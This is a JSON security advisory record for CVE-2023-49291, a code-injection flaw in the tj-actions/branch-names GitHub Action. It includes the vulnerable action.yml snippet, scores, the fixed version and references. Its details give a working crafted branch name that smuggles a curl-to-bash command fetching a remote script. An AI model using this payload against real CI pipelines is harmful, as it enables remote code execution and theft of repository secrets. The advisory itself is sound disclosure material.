{"id":"CVE-2023-49291","aliases":["GHSA-8v8w-v8xg-79rf"],"url":"https://o3.security/vulnerability/CVE-2023-49291","summary":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","details":"### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input","published":"2023-12-04T23:21:33.367Z","modified":"2026-10-28T02:31:12.474489637Z","cvss":{"score":9.3,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N"},"epss":{"score":0.01448,"percentile":0.72051,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"GitHub Actions","name":"tj-actions/branch-names","fixedVersion":"7.0.7"}],"fix":{"url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337","label":"tj-actions/branch-names@4923d1c"},"references":[{"type":"WEB","url":"https://securitylab.github.com/research/github-actions-untrusted-input"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49291.json"},{"type":"ADVISORY","url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291"},{"type":"FIX","url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337"},{"type":"FIX","url":"https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815"},{"type":"FIX","url":"https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060"},{"type":"PACKAGE","url":"https://github.com/tj-actions/branch-names"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:12.474489637Z"}}